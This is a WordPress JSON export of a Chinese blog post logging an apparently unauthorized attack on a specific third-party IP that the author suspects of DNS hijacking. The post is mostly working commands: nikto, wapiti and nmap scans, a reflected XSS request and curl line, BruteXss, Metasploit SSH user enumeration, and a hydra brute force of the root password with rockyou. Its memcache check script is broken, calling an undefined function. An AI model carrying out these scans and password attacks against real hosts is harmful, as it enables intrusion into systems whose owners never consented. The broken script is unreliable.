{"id":1062,"date":"2021-04-26T20:38:35","date_gmt":"2021-04-26T12:38:35","guid":{"rendered":"https:\/\/byy3.com\/?p=1062"},"modified":"2021-04-26T23:09:03","modified_gmt":"2021-04-26T15:09:03","slug":"xss%e6%bc%8f%e6%b4%9e%e5%8f%91%e7%8e%b0%e6%a3%80%e6%b5%8b%e6%97%a5%e5%bf%97","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=1062","title":{"rendered":"xss\u6f0f\u6d1e\u53d1\u73b0\u68c0\u6d4b\u65e5\u5fd7"},"content":{"rendered":"<p>\u4eca\u5929\u53d1\u73b0dns\u52ab\u6301beef\u6846\u67b6\u4e0b\u7684\u4e00\u4e2a\u82f1\u56fd\u670d\u52a1\u5668\u67b6\u8bbe\u7684dns\u52ab\u6301xss\u6f0f\u6d1e<\/p>\n<p>\u52ab\u6301chrome\u6d4f\u89c8\u5668dns\u8f6c\u5411<a href=\"https:\/\/byy3.com\/go\/?url=https:\/\/www.francetvinfo.fr\/\" rel=\"nofollow\" >franceinfo.fr<\/a> \u6cd5\u56fd\u7535\u89c6\u65b0\u95fb\u4fe1\u606f\u7f51<\/p>\n<p>http:\/\/178.62.118.98\/qfhwkydenw\/b.php\u00a0 \u7f51\u9875\u5df2\u4e0b\u8f7d\u5206\u6790\u3002<\/p>\n<p>nikto -h \u6ca1\u6709\u68c0\u6d4b\u5230nikto -h http:\/\/178.62.118.98\/qfhwkydenw\/ -o result.html<\/p>\n<p>nikto -h http:\/\/178.62.118.98\/qfhwkydenw\/ -Plugins -o result.html<\/p>\n<p>\u901a\u8fc7wapiti -u http:\/\/178.62.118.98\/qfhwkydenw\/ -o wapiti_result -f html \u68c0\u6d4b\u6f0f\u6d1e<\/p>\n<p>XSS vulnerability found via injection in the parameter call<\/p>\n<p>GET \/qfhwkydenw\/b.php?call=%3CScRiPt%3Ealert%28%27wdyko7vcfp%27%29%3C%2FsCrIpT%3E HTTP\/1.1<br \/>\nHost: 178.62.118.98<\/p>\n<p>curl \"http:\/\/178.62.118.98\/qfhwkydenw\/b.php?call=%3CScRiPt%3Ealert%28%27wdyko7vcfp%27%29%3C%2FsCrIpT%3E\"<\/p>\n<p>\u5176\u6b21\u68c0\u6d4b git clone https:\/\/github.com\/lvwuwei\/BruteXss<\/p>\n<p><code>python brutexss.py -m get -u http:\/\/178.62.118.98\/qfhwkydenw\/ -t wordlist.txt<\/code><\/p>\n<p>nmap -p- 178.62.118.98 \u518d\u6b21\u626b\u63cf\u6240\u6709\u7aef\u53e3 \u53d1\u73b0 11211\/tcp filtered memcache \u53ef\u5c1d\u8bd5<\/p>\n<h3 class=\"post-title\">MEMCACHE\u672a\u6388\u6743\u8bbf\u95ee\u6f0f\u6d1e\u5229\u7528\u53ca\u4fee\u590d\u00a0 telnet 178.62.118.98 11211 \u6216nc -vv\u00a0&lt;target&gt;\u00a011211\uff0c\u63d0\u793a\u8fde\u63a5\u6210\u529f\u8868\u793a\u6f0f\u6d1e\u5b58\u5728\u3002<\/h3>\n<p><strong><span data-spm-anchor-id=\"a2c6h.12873639.0.i6.23078126PFERsf\">0x02\u00a0Python\u672a\u6388\u6743\u8bbf\u95ee\u811a\u672c<\/span><\/strong><\/p>\n<p><span style=\"font-family: Consolas, Monaco, monospace;\">#! \/usr\/bin\/env python<\/span><\/p>\n<div class=\"cnblogs_code\">\n<pre data-spm-anchor-id=\"a2c6h.12873639.0.i5.23078126PFERsf\"># _*_ coding:utf-8 _*_\r\ndef Memcache_check(ip, port=11211, timeout=5):\r\n try:\r\n socket.setdefaulttimeout(timeout)\r\n s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\r\n s.connect((ip, int(port)))\r\n s.send(\"stats\\r\\n\")\r\n result = s.recv(1024)\r\n if \"STAT version\" in result:\r\n print '[+] Memcache Unauthorized: ' +ip+':'+str(port)\r\n except Exception, e:\r\n pass\r\nif __name__ == '__main__':\r\n Elasticsearch_check(\"127.0.0.1\") \/\/\u4ee3\u7801elasticsearch not foud\r\n\r\nmemcache\u6f0f\u6d1e\u5177\u4f53\u67e5\u770b \u53ef\u4ee5nmap \u6279\u91cf\u626b\u63cf11211\u7aef\u53e3<\/pre>\n<hr \/>\n<\/div>\n<p>\u6700\u540e\u53d1\u73b0\u6211\u7684\u68c0\u6d4b \u5bf9\u65b9\u5173\u95ed80\u548c443\u7aef\u53e3 \u6700\u540e\u53ea\u5269\u4e0b22\u7aef\u53e3 \u4e8e\u662f<\/p>\n<p>\u53d1\u73b022\u7aef\u53e3\u4f7f\u7528auxiliary\/scanner\/ssh\/ssh_enumusers \u7136\u540eset rhosts\u548cset USER_FILE \/root\/seclists\/Usernames\/top-usernames-shortlist.txt \uff08seclists\u5b57\u5178\u9700\u8981git clone\uff09 run\u68c0\u6d4b\u5230\u7528\u6237\u540droot<\/p>\n<p>\u7528\u6237ssh\u66b4\u529b\u7834\u89e3<\/p>\n<p><b>hydra -t 16 -l root -P \/usr\/share\/wordlists\/rockyou.txt -vV <\/b>178.62.118.98 <b>ssh<\/b><\/p>\n<p>\u7834\u89e3\u4e2d\u7b49\u5f85\u7ed3\u679c\u2026\u2026<\/p>\n<p><img decoding=\"async\" data-original=\"https:\/\/linuxhint.com\/wp-content\/uploads\/2020\/10\/word-image-1001.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" title=\"xss\u6f0f\u6d1e\u53d1\u73b0\u68c0\u6d4b\u65e5\u5fd7\u63d2\u56fe\" alt=\"xss\u6f0f\u6d1e\u53d1\u73b0\u68c0\u6d4b\u65e5\u5fd7\u63d2\u56fe\" \/><\/p>\n<hr \/>\n<p>\u56e0\u592a\u591a\u8bbf\u95ee\u731c\u6d4b\uff0c\u5bf9\u65b9\u6362\u6389\u7cfb\u7edf\u4ecelinux\u5230windows\u5f00\u53d1\u7aef\u53e3\u4e3a \u5e76\u4e14\u7981\u6b62ping<\/p>\n<p>Not shown: 996 filtered ports<br \/>\nPORT STATE SERVICE<br \/>\n135\/tcp open msrpc<br \/>\n445\/tcp open microsoft-ds<br \/>\n3389\/tcp open ms-wbt-server<br \/>\n49154\/tcp open unknown<\/p>\n","protected":false},"excerpt":{"rendered":"<p>\u4eca\u5929\u53d1\u73b0dns\u52ab\u6301beef\u6846\u67b6\u4e0b\u7684\u4e00\u4e2a\u82f1\u56fd\u670d\u52a1\u5668\u67b6\u8bbe\u7684dns\u52ab\u6301xss\u6f0f\u6d1e \u52ab\u6301chrome\u6d4f\u89c8\u5668dns\u8f6c\u5411f [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-1062","post","type-post","status-publish","format-standard","hentry","category-net-security"],"_links":{"self":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1062","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1062"}],"version-history":[{"count":0,"href":"https:\/\/byy3.com\/index.php?rest_route=\/wp\/v2\/posts\/1062\/revisions"}],"wp:attachment":[{"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1062"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1062"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/byy3.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1062"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}